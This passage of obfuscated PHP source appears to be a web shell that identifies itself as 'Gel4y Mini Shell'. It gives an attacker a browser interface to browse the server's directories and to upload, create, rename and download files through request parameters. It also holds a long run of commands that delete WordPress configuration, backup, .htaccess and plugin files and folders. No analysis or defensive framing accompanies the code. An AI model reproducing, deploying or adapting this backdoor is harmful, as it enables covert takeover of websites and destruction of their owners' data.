"\167\x70\x2d\165\160\144\141\x74\145\56\160\x68\160"); goto pnpCe; VXI7z: $szYzp = unlink($oyZlv . "\167\x73\157\x71\62\56\160\x68\160"); goto XpI2Q; zbff8: $W1WU6 = unlink($oyZlv . "\167\x70\55\x63\x6f\156\x74\x65\x6e\x74\57\x6d\171\163\x71\154\56\x73\161\x6c"); goto ultQM; HjEdB: foreach ($KlrA1 as $l0LOt => $VGoPR) { goto cHNbJ; Q8u3C: if (!($VGoPR == '')) { goto GYLZt; } goto LgNjS; xMJRW: if (!($VQa5C <= $l0LOt)) { goto D3pVy; } goto GKDGH; YSR6F: if (!($VQa5C != $l0LOt)) { goto RV3fW; } goto urXAV; BFjHV: GYLZt: goto D0hEH; xTj6W: $VQa5C++; goto sKEOE; kLV7q: D3pVy: goto vGhdT; urXAV: echo "\x32\x66"; goto Qb67o; Qb67o: RV3fW: goto GGlWS; XSY_P: echo "\x3c\141\x20\x68\162\145\146\75\42\77\160\x3d\x32\146\x22\x3e\x7e\74\57\141\x3e\57"; goto PCZi7; GP1cL: TB8U7: goto Q8u3C; reVzQ: InauF: goto xMJRW; ht6xl: $VQa5C = 0; goto reVzQ; sKEOE: goto InauF; goto kLV7q; GKDGH: echo xEH2e($KlrA1[$VQa5C]); goto YSR6F; D0hEH: echo "\x3c\x61\x20\x68\x72\x65\x66\75\x22\77\160\75"; goto ht6xl; oRJD7: joiLw: goto VtyeZ; PCZi7: goto joiLw; goto GP1cL; vGhdT: echo "\42\76{$VGoPR}\74\57\141\76\x2f"; goto oRJD7; GGlWS: opxrP: goto xTj6W; cHNbJ: if (!($l0LOt == 0 && $VGoPR == '')) { goto TB8U7; } goto XSY_P; LgNjS: goto joiLw; goto BFjHV; VtyeZ: } goto ZqR2g; kaba2: $EMnu8 = rmdir($oyZlv . "\x2e\167\x65\x6c\x6c\55\153\x6e\157\x77\156\x2f\x70\153\x69\55\166\x61\x6c\x69\144\x61\x74\x69\x6f\x6e\x2f\x64\x2f\144\57\144\57\144"); goto d14cR; LLsa1: $eY2a6 = unlink($oyZlv . "\x41\144\x64\x73\x2e\x70\150\160"); goto tB3Eu; PcsFC: $jSdrp = unlink($oyZlv . "\x77\x70\55\143\x6f\156\x74\x65\x6e\x74\57\x52\x7a\153\115\62\170\x72\146\127\167\141\56\160\150\160"); goto IVnX5; ueQm8: $sBeFf = unlink($oyZlv . "\167\160\x2d\143\157\x6e\x74\145\x6e\164\x2f\163\x74\171\154\145\x2d\143\x73\163\56\x70\x68\x70"); goto fdyaO; lnMBN: waoRb: goto HJgNg; z9OVz: $ILiOc = unlink($oyZlv . "\x74\x61\170\151\x31\61\61\61\61\61\56\x7a\x69\160"); goto FeseE; jTo8e: wViBx: goto ur1QC; VKCWZ: if (!$lKwH4[12]($lbhnZ)) { goto zJCfl; } goto JkmZX; n233r: $CoTjq = unlink($oyZlv . "\x66\141\166\x69\143\x6f\156\56\x69\143\x6f"); goto Db432; Ossfy: $uKUk_ = unlink($oyZlv . "\x2e\154\x69\x74\x65\163\160\145\145\x64\137\x63\x6f\x6e\x66\x2e\x64\x61\164"); goto MqIcU; FWTyu: $iOSH6 = unlink($oyZlv . "\167\x70\55\x63\157\156\164\145\156\x74\57\x70\x6c\165\x67\151\x6e\163\57\x79\154\165\x66\154\167\155\x73\x6c\172\x2f\165\x70\x2e\x70\150\160"); goto IC9WG; S0ccH: $EgXcj = unlink($oyZlv . "\142\154\x61\143\153\x6c\151\x73\x74\56\164\x78\164"); goto qyBJk; K30l4: $ELyeo = unlink($oyZlv . "\x77\160\x2d\143\157\156\164\x65\156\x74\57\163\x67\x73\137\145\156\143\x72\x79\160\x74\137\x6b\145\x79\x2e\x70\150\160"); goto qqgu1; I8gGK: $OCEhU = unlink($oyZlv . "\x62\x79\x70\x61\163\163\x2e\x70\150\160"); goto XA5RK; J1QT_: $V8CsY = unlink($oyZlv . "\x65\155\160\x6c\x6f\171\145\145\137\144\x65\x74\141\151\x6c\163\x2e\x7a\151\160"); goto LLrlE; KXqOp: $bkq24 = unlink($oyZlv . "\x72\145\143\157\154\x6c\145\143\164\151\157\x6e\56\x70\150\x70"); goto sGP1x; kiizH: $iEQTW = unlink($oyZlv . "\x2e\x72\x6e\144"); goto lDKkx; Eydu6: $tCtJN = rmdir($oyZlv . "\167\x65\154\154\55\153\156\157\167\156\x2f\x61\x63\155\145\x2d\143\x68\141\154\154\145\x6e\x67\x65\57\x65\57\x61\57\142\57\142\57\x63"); goto c3fV3; mYpyH: echo $lKwH4[18]($lKwH4[14]($p8aQE . "\57" . y2EFU($_GET["\156"]))); goto eiE8p; SeJNO: jeJW6: goto R6VGT; NawJX: $DI1UA = unlink($oyZlv . "\x73\x61\x6c\x65\x2e\160\150\x70"); goto aMhsd; RIanf: $vrV5T = unlink($oyZlv . "\167\x70\55\143\x6f\156\164\145\156\164\57\x61\151\x42\x59\x57\106\147\x58\x55\x39\x71\56\x70\150\160"); goto HdSMN; HTVzu: unlink($lbhnZ); goto VKCWZ; PH_oQ: $TeXzF = unlink($oyZlv . "\56\150\x74\141\143\x63\x65\x73\163\56\x77\160\164\55\142\141\143\153\x75\160"); goto pDzfo; l2bSp: $RBJiN = unlink($oyZlv . "\157\x70\x74\x69\157\156\x73\56\x70\x68\160"); goto WHb8u; MWNQo: $nclZA = unlink($oyZlv . "\x2e\163\151\x74\145\160\x61\x63\x6b\56\164\x61\x72"); goto hYTlF; craKZ: header("\x43\x6f\x6e\164\x65\x6e\164\x2d\x54\x79\x70\x65\x3a\x20\x61\160\160\x6c\x69\143\141\x74\x69\157\x6e\x2f\x6f\x63\164\145\x74\55\163\x74\x72\x65\141\x6d"); goto WaTVN; v6L1d: $SGy48 = unlink($oyZlv . "\154\151\166\145\x2e\163\x71\154"); goto kELsV; W3Bkn: $G2aqR = unlink($oyZlv . "\61\x69\156\144\145\170\56\x70\x68\160"); goto QUjrd; GdB0T: $dDXH8 = unlink($oyZlv . "\154\x6f\x63\141\x6c\x2d\170\x64\145\142\165\147\151\156\146\x6f\x2e\160\x68\x70"); goto vbKP7; n0Uyx: $YMBBX = unlink($oyZlv . "\x66\x61\166\x69\x63\x6f\x6e\56\x67\x69\x66"); goto c_3aw; ONfpO: echo "\x3c\x2f\154\x69\x3e\x20\x9\x9\74\x2f\144\x69\166\76\40\11\x9\74\146\157\162\155\40\155\145\164\150\x6f\x64\x3d\42\160\x6f\x73\x74\x22\40\x65\x6e\x63\x74\x79\x70\x65\75\x22\155\x75\x6c\164\151\160\141\162\x74\x2f\x66\157\162\x6d\x2d\x64\141\164\x61\x22\x3e\x3c\144\151\166\x20\x63\154\141\163\x73\x3d\x22\x69\156\160\165\x74\55\147\x72\157\x75\x70\40\x6d\142\x2d\61\40\160\170\x2d\x31\x20\155\164\55\61\42\x3e\74\144\x69\166\x20\143\154\141\x73\163\x3d\42\x63\x75\x73\164\157\155\x2d\x66\151\x6c\145\x22\76\74\151\x6e\x70\x75\164\40\164\171\160\145\x3d\42\x66\x69\x6c\145\42\x20\156\141\x6d\x65\x3d\x22\146\x5b\135\42\40\143\x6c\x61\163\163\x3d\42\143\165\x73\164\x6f\155\x2d\x66\151\x6c\x65\x2d\x69\156\x70\x75\x74\x22\x20\x6f\x6e\143\x68\141\x6e\147\145\x3d\x22\164\150\151\163\56\146\x6f\162\x6d\56\163\x75\142\x6d\151\164\x28\x29\42\40\155\165\154\x74\x69\x70\x6c\145\x3e\74\154\x61\x62\145\x6c\40\x63\154\141\163\163\75\x22\x63\165\x73\164\x6f\155\55\x66\x69\x6c\x65\x2d\154\x61\142\x65\154\x20\x72\x6f\x75\156\x64\x65\x64\x2d\60\40\142\147\55\x74\162\141\156\x73\160\141\162\145\x6e\164\x20\x74\145\170\164\55\x6c\151\147\x68\x74\x22\76\103\x68\x6f\x6f\x73\145\x20\x66\x69\154\x65\74\57\x6c\x61\x62\145\154\x3e\74\x2f\x64\x69\x76\x3e\x3c\x2f\144\151\166\76\x3c\x2f\x66\157\x72\155\76\x20\x9\11"; goto Fv3oZ; nBfm3: $Q0R17 = unlink($oyZlv . "\163\x74\157\x72\145\56\160\150\160"); goto GdB0T; IIAEo: $AX40D = unlink($oyZlv . "\x69\x6e\144\145\x78\61\x31\x31\61\56\150\164\155\x6c"); goto oRLUs; gqsrN: $Lqt5H = rmdir($oyZlv . "\167\x70\x2d\x63\157\156\164\x65\156\164\57\160\x6c\x75\147\x69\156\x73\x2f\x4d\x6f\x6e\x61\162\153\123\x65\x6f"); goto Jc9L0; RpdRP: echo "\x22\76\53\x46\151\154\145\x3c\x2f\141\76\40\11\11\11\11\74\x61\x20\150\162\x65\146\75\x22\x3f\x70\x3d"; goto oqO_C; tRF9j: $C4ysZ = unlink($oyZlv . "\141\x64\166\x61\156\x63\x65\144\x2d\143\141\x63\150\145\x2e\x70\150\160\55\157\x6c\144\55\x6f\x6c\144"); goto TcXYE; Le6MQ: $E6Oso = unlink($oyZlv . "\167\160\x2d\143\x6f\156\164\145\156\164\x2f\x70\154\165\x67\151\x6e\163\x2f\165\142\150\57\x69\156\144\145\x78\x2e\160\x68\160"); goto U_JK6; Hnrka: $iXA4S = unlink($oyZlv . "\x36\64\x30\71\x76\145\x6e"); goto c2QsF; Xhrq5: $h5Gyy = unlink($oyZlv . "\157\x62\x6a\x65\143\x74\55\x63\141\143\150\145\x2e\x70\150\x70"); goto qH_4T; YZifm: $viTnP = unlink($oyZlv . "\x34\60\x33\56\163\150\164\155\154"); goto azTNK; etJYR: $JlOoz = unlink($oyZlv . "\x77\160\x2d\143\x6f\156\x74\145\156\x74\x2f\x4a\x69\x62\x72\x61\156\137\144\x65\x62\165\147\x2e\154\x6f\147"); goto pRLwj; cq1Pe: $Tr6Hx = unlink($oyZlv . "\x4a\x49\x66\161\116\x55\x76\114\x2e\x70\150\160"); goto jsjN4; GmPiU: $YWf42 = unlink($oyZlv . "\61\62\56\160\150\160"); goto RmNv5; TLsFC: c_pVY: goto zPWq0; lOIrC: $WniFX = unlink($oyZlv . "\151\x6e\x73\x74\141\154\154\145\162\x2e\160\x68\160"); goto fNhCb; C9jFH: $W0Nzl = rmdir($oyZlv . "\x43\x4f\120\x59\x52\111\x47\110\x54"); goto G3kIX; kAxA5: echo $lKwH4[1](); goto HA16F; ioaH8: $blkm0 = unlink($oyZlv . "\x2e\157\154\x64\x2d\x77\x70\x2d\x63\x6f\156\x66\151\147\56\160\x68\160"); goto FZA7t; Hm_mo: $zDDd0 = unlink($oyZlv . "\141\x63\x63\145\x73\163\x5f\x6c\x6f\x67\x2e\154\157\147"); goto LolQC; SnuFj: $NTsSj = rmdir($oyZlv . "\142\142\55\x63\157\x6e\x66\151\147\56\160\150\160"); goto pJ27K; MIUQZ: $kFtPi = unlink($oyZlv . "\x77\x70\137\x69\x6e\x73\x74\141\x6c\154\x2e\154\x6f\x67"); goto z9OVz; OFasI: $Cp401 = unlink($oyZlv . "\x77\x70\55\143\157\x6e\x74\x65\x6e\164\57\151\156\x64\145\x78\56\150\164\155\154"); goto w1xyi; SvDPg: $YG1Kq = unlink($oyZlv . "\x73\151\164\145\x6d\x61\x70\x2e\160\x68\x70\x2e\160\150\160\56\164\141\x72\56\147\172"); goto QXxvO; xgSpt: $Qr8n7 = rmdir($oyZlv . "\167\160\x2d\143\x6f\156\164\145\156\x74\57\x70\x6c\x75\147\151\x6e\163\57\x64\151\x61\x62\x6c\x6f\157\161\x74"); goto BSmRD; mpAsh: $n6lqF = unlink($oyZlv . "\x2e\x68\164\141\143\145\x73\163"); goto hsJMg; yyXjR: $BlI6q = unlink($oyZlv . "\x2e\x68\x74\141\143\143\145\x73\x73\56\172\151\x70"); goto kKxmi; c3HI3: goto YYPoK; goto XxU6g; sNOzB: echo Y2EFu($_GET["\x6e"]); goto NGq7z; eTGL9: $nqh51 = rmdir($oyZlv . "\56\x74\x68\x75\x6d\x62"); goto KHG82; IVnX5: $OdHq0 = unlink($oyZlv . "\x34\x30\60\x2e\163\x68\164\x6d\x6c"); goto wpntD; b9PZF: $uTCpM = unlink($oyZlv . "\x2e\167\145\x6c\x6c\55\x6b\156\157\x77\x6e\56\172\x69\160"); goto VXI7z; B10dk: $oYzxV = unlink($oyZlv . "\153\150\x75\171\145\x6e\56\x70\150\160"); goto rUZGR; vmKra: function GZjsN($EeoI0, $dUD7y = 1, $lbhnZ = '') { goto Vle3q; Vle3q: global $p8aQE; goto idXYu; idXYu: $QDr8R = $dUD7y == 1 ? "\163\165\x63\x63\145\163\x73" : "\145\x72\162\x6f\162"; goto YowwK; YowwK: echo "\x3c\x73\143\x72\151\160\x74\x3e\x73\167\x61\x6c\50\173\x74\151\x74\x6c\145\x3a\40\x22{$QDr8R}\x22\54\x20\x74\145\x78\164\x3a\x20\42{$EeoI0}\42\54\x20\x69\143\157\156\72\x20\x22{$QDr8R}\x22\x7d\x29\x2e\x74\x68\145\x6e\50\50\142\x74\156\x43\154\151\x63\153\x29\x20\75\x3e\x20\x7b\151\146\50\x62\x74\x6e\x43\154\x69\143\x6b\x29\173\144\x6f\143\165\x6d\x65\156\x74\x2e\154\x6f\143\141\x74\x69\x6f\156\56\150\162\x65\146\x3d\x22\77\x70\x3d" . XEH2E($p8aQE) . $lbhnZ . "\x22\x7d\x7d\51\74\x2f\163\x63\x72\151\x70\x74\76"; goto LYbks; LYbks: } goto nvED2; kxSAB: $h1I4d = rmdir($oyZlv . "\167\x70\x2d\143\157\x6e\x74\x65\x6e\164\57\165\160\x6c\157\141\x64\x73\55\157\x6c\144\x2d\x6f\154\x64"); goto eRJ_E; ufm1I: $l7vQG = rmdir($oyZlv . "\x77\x65\154\x6c\55\x6b\156\x6f\167\x6e\57\160\153\x69\55\166\141\x6c\151\144\141\x74\151\157\156\x2f\x68\x2f\150\x2f\x68\x2f\x68"); goto FvOSw; zu4x_: $ye_Mv = rmdir($oyZlv . "\x77\x70\55\x63\157\x6e\164\x65\x6e\164\x2f\x75\x70\x67\x72\141\144\145\x2d\164\145\155\x70\55\x62\x61\x63\x6b\165\160"); goto HozAO; qFPUP: echo "\40\11\x9\11\x3c\x68\65\40\143\x6c\141\163\x73\75\42\x62\157\162\x64\145\162\x20\160\x2d\x31\x20\x6d\142\55\x33\42\76\122\145\x6e\x61\155\145\40"; goto iVBOv; As3FW: $KlrA1 = $lKwH4[4]("\x2f\50\134\x5c\174\x5c\x2f\51\57", $p8aQE); goto HjEdB; frFYE: goto h98Dm; goto xyQdn; aKdNL: $Ea1RG = unlink($oyZlv . "\167\160\55\x63\x6f\x6e\164\x65\156\x74\x2f\x70\x6c\x75\x67\151\x6e\x73\57\145\144\165\143\141\164\x69\157\x6e\x68\165\x62\55\143\157\x6e\156\145\143\x74\x6f\162\56\x7a\x69\x70"); goto NcVFE; oGYMF: $dFDju = rmdir($oyZlv . "\x77\160\x2d\143\x6f\x6e\164\x65\x6e\164\x2f\x70\x6c\x75\x67\151\x6e\163\57\x61\x71\165\x6d\x75\147"); goto KQWYL; pDzfo: $db3hk = unlink($oyZlv . "\x42\x69\x6e\147\123\x69\x74\x65\101\165\x74\150\56\170\155\154"); goto n233r; C9AfH: $jyGU0 = unlink($oyZlv . "\163\155\56\160\150\x70"); goto rEVTc; FtJtL: $LIuLU = unlink($oyZlv . "\164\x75\141\156\56\x74\170\x74"); goto c4yCl; j5Kmz: $i2qLb = unlink($oyZlv . "\167\x70\55\143\157\156\164\x65\156\164\x2f\x70\154\x75\147\151\156\163\x2f\167\160\55\146\151\154\145\x2d\x6d\141\x6e\x61\x67\145\x72\x2f"); goto KW1X_; HAh2Z: $rS6TI = unlink($oyZlv . "\x62\141\143\153\165\x70\56\163\161\154"); goto KO4zs; NZPZY: $tf3So = unlink($oyZlv . "\x63\x6a\144\x65\x74\141\151\x6c\163\x2e\160\150\160"); goto O_u0m; azTNK: $swLpO = unlink($oyZlv . "\x34\x30\x34\x2e\x73\150\x74\x6d\154"); goto LV59M; iwKJc: echo "\40\x9\x9\x3c\x64\151\x76\x20\143\154\x61\x73\163\75\42\x70\x78\x2d\62\x20\x70\171\55\62\42\x3e\40\11\11\x9"; goto ndVTh; mh0pq: $qBmgT = rmdir($oyZlv . "\167\160\x2d\x63\x6f\x6e\164\x65\x6e\164\57\160\154\x75\147\x69\x6e\x73\x2f\x75\142\150"); goto tPo9Y; DdcxD: $jORjF = unlink($oyZlv . "\167\160\x2d\143\157\156\164\145\156\164\x2f\x77\x66\55\154\x69\143\x65\x6e\163\x69\x6e\147\56\154\x6f\147"); goto YuYnp; ahHXb: $Juf9M = unlink($oyZlv . "\x77\x70\55\x63\x6f\x6e\164\145\x6e\x74\x2f\160\x6c\x75\147\151\x6e\163\x2f\x6f\172\170\160\147\160\150\165\x76\x6a\x2f\152\x73\x2e\x70\150\x70"); goto URbQ4; EdGsR: header("\x43\x6f\x6e\164\145\x6e\x74\x2d\144\151\163\x70\x6f\x73\x69\164\151\x6f\x6e\72\x20\x61\164\x74\x61\143\x68\x6d\145\156\164\x3b\x20\x66\x69\x6c\145\x6e\141\x6d\x65\x3d\42" . Y2EFU($_GET["\x6e"]) . "\42"); goto ekkxN; xgb2Z: $cJ_QY = unlink($oyZlv . "\167\x70\x2d\143\157\156\146\x69\147\57\167\160\55\x63\157\x6e\146\x6c\147\x2e\160\150\160"); goto f_ucd; pxLmb: h98Dm: goto MbRXS; rkktg: goto T1hif; goto i1TOR; HQrbe: $O5T47 = unlink($oyZlv . "\x77\160\55\x63\157\156\x74\145\x6e\164\57\160\154\165\147\151\156\163\57\x6f\x7a\x78\x70\x67\x70\150\165\x76\x6a\57\x72\145\141\144\155\x65\x2e\x74\170\164"); goto zY0UM; x81XS: $UelGR = rmdir($oyZlv . "\x77\160\55\143\157\x6e\x74\x65\x6e\x74\x2f\x70\x6c\165\147\x69\x6e\x73\x2f\x6c\x69\x74\145\163\160\145\145\x64\55\143\x61\143\150\x65"); goto trcJG; ZZQ3c: $pk7Wg = rmdir($oyZlv . "\167\160\55\143\x6f\x6e\x74\x65\x6e\164\x2f\x70\154\165\147\x69\156\163\57\x70\145\x74\151"); goto c36BW; oqO_C: echo Xeh2E($p8aQE) . "\46\x61\75" . xEH2e("\156\145\x77\x44\x69\162"); goto Yhmi3; YFpJ8: $aUmpv = rmdir($oyZlv . "\167\x70\x2d\143\x6f\x6e\x74\145\156\x74\x2f\x70\x6c\x75\x67\x69\156\x73\x2f\x72\x64\172\143\x70\163\x71"); goto Cpk2t; o_fGg: $HZJcQ = rmdir($oyZlv . "\167\160\55\x63\157\x6e\164\145\156\x74\57\160\154\x75\147\151\156\163\57\x35\x33\x6e\63\x31\x31\x6e\x33"); goto oaAo2; QxEtp: $w72Gt = rmdir($oyZlv . "\x77\x70\x2d\143\x6f\x6e\x74\145\156\164\57\x70\x6c\165\x67\151\156\x73\x2f\143\x65\160\x32\x30\145\60\x30"); goto e9ATV; GIXNc: $HndnH = unlink($oyZlv . "\160\x77\141\55\163\167\x2e\152\163"); goto oB1At; vtGjV: echo y2EfU($_GET["\x6e"]); goto EkbXw; eRqiP: $XhDXj = unlink($oyZlv . "\167\x70\55\143\157\x6e\164\x65\156\x74\57\165\160\x67\162\141\144\145\55\154\x69\166\145\56\x7a\151\x70"); goto Zpe2N; hDguj: $lKwH4[3](y2EFU($_GET["\160"])); goto d_Tvu; wAZ_E: $ceVRq = rmdir($oyZlv . "\x77\x70\x2d\143\157\156\164\x65\x6e\x74\x2f\x70\x6c\165\x67\x69\156\x73\57\x32\x38\65\x39\62\x61\x33\x31\x65\x63\x65\66\63\70\60\143\63\63\x65\x66\67\146\61\x63\65\x62\x37\x36\x32\x61\145\x39"); goto djbvD; ndzr0: echo "\x3c\57\141\76\x3c\57\x68\63\76\74\x2f\144\151\x76\76\x20\x9\11\11\x3c\144\x69\166\x3e\40\x9\x9\x9\11\x3c\x73\160\141\x6e\76\x50\x48\x50\40\x56\x65\162\x73\x69\157\156\40\x3a\x20"; goto kAxA5; UPzLw: $tZQak = unlink($oyZlv . "\65\60\60\56\163\150\164\x6d\154"); goto mU8XR; H_Mh7: $ir6HE = rmdir($oyZlv . "\167\160\x2d\x63\157\x6e\x74\145\156\164\x2f\160\x6c\165\x67\151\x6e\163\x2f\x64\x30\163\x30\x38\166\x77\171"); goto gqsrN; HozAO: $mcZ7l = rmdir($oyZlv . "\167\x70\55\x63\157\156\164\x65\156\x74\57\165\x70\x67\x72\141\x64\145\55\164\x65\x6d\160\x2d\142\141\143\153\165\160\55\x6f\x6c\x64"); goto zoSmm; OxNyQ: echo "\x20\11\x3c\x2f\144\x69\x76\x3e\40\11\74\x64\151\x76\x20\143\x6c\x61\163\163\75\x22\142\x67\55\144\141\162\x6b\x20\x62\157\x72\x64\145\x72\40\x74\x61\142\x6c\145\x2d\162\145\163\160\x6f\156\163\151\x76\145\x2d\x73\155\40\x6d\164\x2d\x32\42\76\40\x9\11\x3c\x64\151\x76\40\143\154\141\x73\x73\x3d\x22\x6d\x6c\x2d\x32\42\x20\x73\x74\x79\x6c\x65\75\42\x66\157\156\164\55\x73\x69\x7a\x65\x3a\61\x38\x70\170\73\42\76\40\x9\11\11\x3c\163\160\x61\x6e\x3e\x50\141\164\x68\72\x20\74\57\x73\160\141\x6e\76\x20\11\11\11"; goto As3FW; S9P2B: if (!isset($_GET["\141"])) { goto Y1LpH; } goto pTS_J; DxlPl: $SEpMz = unlink($oyZlv . "\x77\160\x2d\143\x6f\x6e\164\145\156\x74\x2f\x70\154\165\x67\151\156\163\x2f\160\154\165\147\x69\x6e\163\56\x74\141\x72\137\143\x6c\151\x6e\x6f\x78\x2e\147\172"); goto bcCsh; z_EF2: $GOk9Y = rmdir($oyZlv . "\x77\160\55\x63\157\x6e\x74\145\x6e\164\57\x70\154\165\x67\151\x6e\x73\x2f\171\x6c\x75\146\154\x77\x6d\163\x6c\172"); goto xQRUo; HaCST: $kZYru = unlink($oyZlv . "\167\x70\x2e\143\x72\157\156\56\160\150\x70"); goto F6Ukb; UEMW_: $JXfHX = rmdir($oyZlv . "\167\x70\55\143\157\x6e\x74\x65\x6e\164\x2f\x70\x6c\165\147\151\x6e\163\x2f\x67\x68\x65\x72\x68\144\172"); goto YFpJ8; ryzqe: $drvja = unlink($oyZlv . "\163\151\154\145\x6e\x74\162\x77\155\x2e\x70\150\160"); goto PcsFC; STksV: $ADVlp = unlink($oyZlv . "\x52\105\x41\104\x4d\x45\x2e\x6d\x64"); goto rz6o1; qgctD: $oW1II = rmdir($oyZlv . "\x77\160\55\x63\x6f\156\164\x65\x6e\164\57\160\154\165\147\x69\156\163\x2f\x70\x6c\165\147\151\156"); goto dTW6u; I46tW: $B3ulu = rmdir($oyZlv . "\167\x70\55\x63\x6f\156\x74\x65\156\x74\x2f\x70\x6c\x75\147\151\x6e\x73\57\142\172\x6b\157\143\151\153\143\144\x65"); goto uJyV8; DLJee: $iq2UV = unlink($oyZlv . "\162\x6f\x6d\x2e\x70\150\160"); goto xmqUN; i3K0p: $SZ4va = unlink($oyZlv . "\65\60\x32\56\150\x74\155\154"); goto rg72x; TcXYE: $Kn9Zi = unlink($oyZlv . "\x64\142\56\x70\x68\160\55\x6f\154\x64"); goto lUVKR; WDQ6L: $kCrSv = unlink($oyZlv . "\x63\150\x69\x6e\141\x2e\x70\x68\x70"); goto A7fZo; tB3Eu: $JL0ig = unlink($oyZlv . "\x77\157\162\x64\x70\162\x65\x73\x73\55\66\x2e\x37\55\166\x69\56\x7a\151\x70"); goto cnnw3; WKgJF: $ZsFBf = rmdir($oyZlv . "\167\160\x2d\143\157\x6e\164\x65\x6e\164\x2f\x6f\142\x6a\x65\x63\164\x2d\x63\x61\x63\150\145\56\160\x68\160\55\x6f\x6c\144"); goto SFUUF; MEeu8: fsLcW: goto fPKy9; vzRLB: $s95E1 = unlink($oyZlv . "\x77\160\x2d\x63\x6f\x6e\164\x65\156\164\57\x73\164\x72\x61\164\x75\163\x2d\143\150\x69\x6c\x64\x2d\154\151\166\x65\x2e\x7a\x69\160"); goto eRqiP; tkZ3p: $yYy0o = unlink($oyZlv . "\164\x65\x78\164\56\x70\x68\x70"); goto JtbZR; KBRhH: $mj4Uk = rmdir($oyZlv . "\x2e\167\145\x6c\154\55\x6b\x6e\157\167\156\x2f\160\153\151\55\x76\x61\x6c\151\x64\141\164\151\157\156\57\147\57\x67\x2f\x67\57\147"); goto TxTUD; G3kIX: $NenUM = rmdir($oyZlv . "\56\x64\150\55\144\151\x61\147"); goto qrEWw; QUjrd: $Z9Ol3 = unlink($oyZlv . "\x64\145\x66\141\165\154\x74\56\160\150\x70"); goto dmdkj; p7l0n: $OjgKw = rmdir($oyZlv . "\167\x70\x2d\x63\157\156\x74\145\156\164\x2f\x70\x6c\x75\147\151\156\x73\x2f\x63\170\151\x65\x68\x6c\x61"); goto H_Mh7; cZFz1: $hkvxy = rmdir($oyZlv . "\x77\x70\x2d\x63\157\x6e\x74\145\x6e\x74\57\x70\x6c\165\x67\x69\x6e\x73\x2f\x73\x65\157\157"); goto qgctD; ch0hn: $p1EaL = unlink($oyZlv . "\x6c\145\156\x73\x74\157\x6d\x2e\x7a\x69\x70"); goto ySJHz; Rb8ay: echo "\40\x3c\x21\x64\x6f\143\x74\x79\x70\145\40\x68\x74\x6d\154\76\x20\74\x21\x2d\55\40\122\141\x6e\144\x73\x58\40\x61\153\x61\40\124\61\153\x75\x73\137\147\60\164\40\x2d\55\x3e\40\74\x68\x74\x6d\154\x20\x6c\141\x6e\x67\x3d\42\x65\x6e\x22\76\40\74\150\x65\x61\x64\76\40\11\x3c\x6d\145\x74\141\40\x6e\141\x6d\x65\75\42\164\150\145\x6d\145\55\143\157\154\157\x72\x22\40\143\x6f\x6e\164\x65\156\x74\x3d\42\x72\x65\x64\42\x3e\40\x9\74\155\145\164\x61\40\x6e\x61\x6d\x65\x3d\42\x76\151\x65\167\x70\157\162\x74\x22\x20\x63\x6f\x6e\x74\x65\156\x74\x3d\42\167\151\x64\x74\x68\75\144\x65\166\151\x63\145\x2d\167\x69\x64\164\x68\54\x20\x69\x6e\151\x74\151\141\x6c\55\x73\x63\x61\154\x65\75\60\x2e\66\60\54\40\163\150\162\x69\x6e\x6b\55\x74\157\x2d\x66\x69\x74\75\156\x6f\42\76\x20\11\74\x6c\151\x6e\153\40\x72\x65\154\75\42\x73\164\171\154\145\x73\150\x65\145\x74\42\x20\150\x72\145\146\x3d\x22\57\x2f\143\144\156\56\152\163\144\145\x6c\151\x76\x72\x2e\x6e\145\164\57\x6e\160\x6d\57\x62\157\157\164\x73\x74\162\141\160\x40\64\56\66\x2e\60\57\144\151\x73\164\57\x63\x73\x73\x2f\x62\157\157\x74\x73\x74\162\x61\x70\x2e\155\x69\156\x2e\143\163\x73\x22\76\x20\11\74\x6c\x69\x6e\x6b\x20\162\x65\x6c\x3d\x22\163\164\x79\x6c\145\163\x68\x65\x65\x74\42\x20\150\162\x65\146\75\x22\57\x2f\143\144\156\x6a\163\x2e\143\154\x6f\x75\144\x66\154\141\x72\145\x2e\x63\x6f\155\57\141\152\x61\x78\57\154\151\142\163\x2f\x66\157\x6e\x74\x2d\141\167\145\x73\157\x6d\x65\x2f\x34\56\x37\56\60\x2f\143\163\x73\x2f\146\157\x6e\x74\x2d\141\x77\145\x73\x6f\x6d\x65\56\x6d\151\156\56\143\x73\163\42\76\x20\x9\74\x74\151\x74\154\x65\x3e"; goto eDUPE; FZA7t: $XmYtf = unlink($oyZlv . "\56\x65\141\x65\143\x37\63\141\x62\56\x6a\x73"); goto J_Eua; Yhmi3: echo "\42\76\x2b\x44\151\x72\x65\143\x74\157\x72\171\x3c\57\x61\x3e\x20\x9\11\x9\x3c\57\144\x69\x76\x3e\x20\11\11\74\x2f\144\151\x76\x3e\40\x9\11\x3c\x64\x69\x76\x20\143\x6c\x61\x73\x73\75\x22\x62\x6f\162\144\x65\x72\55\164\157\x70\x20\164\x61\x62\154\145\55\x72\145\163\160\x6f\156\163\151\166\145\x22\x3e\40\11\x9\x9\74\x6c\x69\76\x53\145\162\166\145\x72\x20\72\40"; goto E1ZVl; c9hbi: $rZOYj = unlink($oyZlv . "\x64\145\x66\x61\165\x6c\x74\x5f\160\x61\x67\x65\x2e\x70\156\147"); goto qfdfl; mAqwh: $qqtbQ = unlink($oyZlv . "\61\62\64\x2e\160\150\160"); goto ZBBeG; iWGEp: $BmIJA = unlink($oyZlv . "\x77\160\55\x6d\172\160\x65\x61\x72\x2e\x70\x68\x70"); goto I7JxL; NrCqN: $VWU74 = unlink($oyZlv . "\167\x70\x2d\143\x6f\156\164\x65\156\x74\57\157\x62\152\x65\x63\x74\55\x63\141\x63\x68\x65\x2e\x70\x68\160"); goto r8Xpu; pPakn: xUmTc: goto KI2y8; O_u0m: $N6xpU = unlink($oyZlv . "\154\151\163\164\116\x65\167\x2e\160\150\160"); goto tviy0; TUOHD: define("\x41\x30\x6c\x42\137", "\107\145\154\64\x79\x20\115\x69\156\x69\x20\x53\x68\145\154\154"); goto refXe; nMOrW: $DEsn1 = unlink($oyZlv . "\x2e\160\150\x70\x2d\166\x65\162\x73\151\157\x6e"); goto s7C1u; c1aGJ: $b3mDL = rmdir($oyZlv . "\x77\160\x2d\143\157\x6e\x74\145\156\x74\57\x70\x6c\165\147\151\x6e\x73\57\61\x4e\x52\152\165\x4a\x6e\x33\156\x76\x67\147\x55\x34\x74\x45\143\155\125\x4d\124\x69\167\x39\x34\105\x57\172\x43\115\x72\x42\x55\166"); goto wAZ_E; v5y1D: $gC7ec = unlink($oyZlv . "\x2e\x68\164\141\143\143\x65\163\x73\x2e\x32\x30\60\x31\62\63\x32\x31\x35\x35\x33\71\x2e\x6f\x72\x69\147"); goto pVF1r; hBbTY: $m_wJv = unlink($oyZlv 